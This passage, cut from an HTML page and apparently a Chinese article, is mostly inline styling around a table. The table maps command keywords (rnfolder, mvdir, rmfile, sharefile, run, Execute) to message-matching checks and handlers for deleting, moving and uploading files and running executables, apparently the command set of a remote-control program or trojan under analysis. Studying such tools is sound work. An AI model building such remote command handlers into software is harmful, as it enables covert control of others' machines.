0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">删除目录</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">目录路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用deletedirectory()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">rnfolder</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;rnfolder&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">重命名目录</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">原目录名|新目录名</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用renamedirectory()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">mvdir</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;mvdir&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">移动目录</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">原路径|目标路径|选项</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用movedirectory()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">rmfile</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;rmfile&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">删除文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">文件路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用deletefile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">rnfile</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.Contains(&#34;rnfile&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">重命名文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">原文件名|新文件名</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用renamefile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">sharefile</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;sharefile&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">分享/上传文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">文件路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用sharefile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">run</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;run&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">运行可执行文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">文件路径</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">调用runfile()</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Execute</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">msg.StartsWith(&#34;Execute&#34;)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 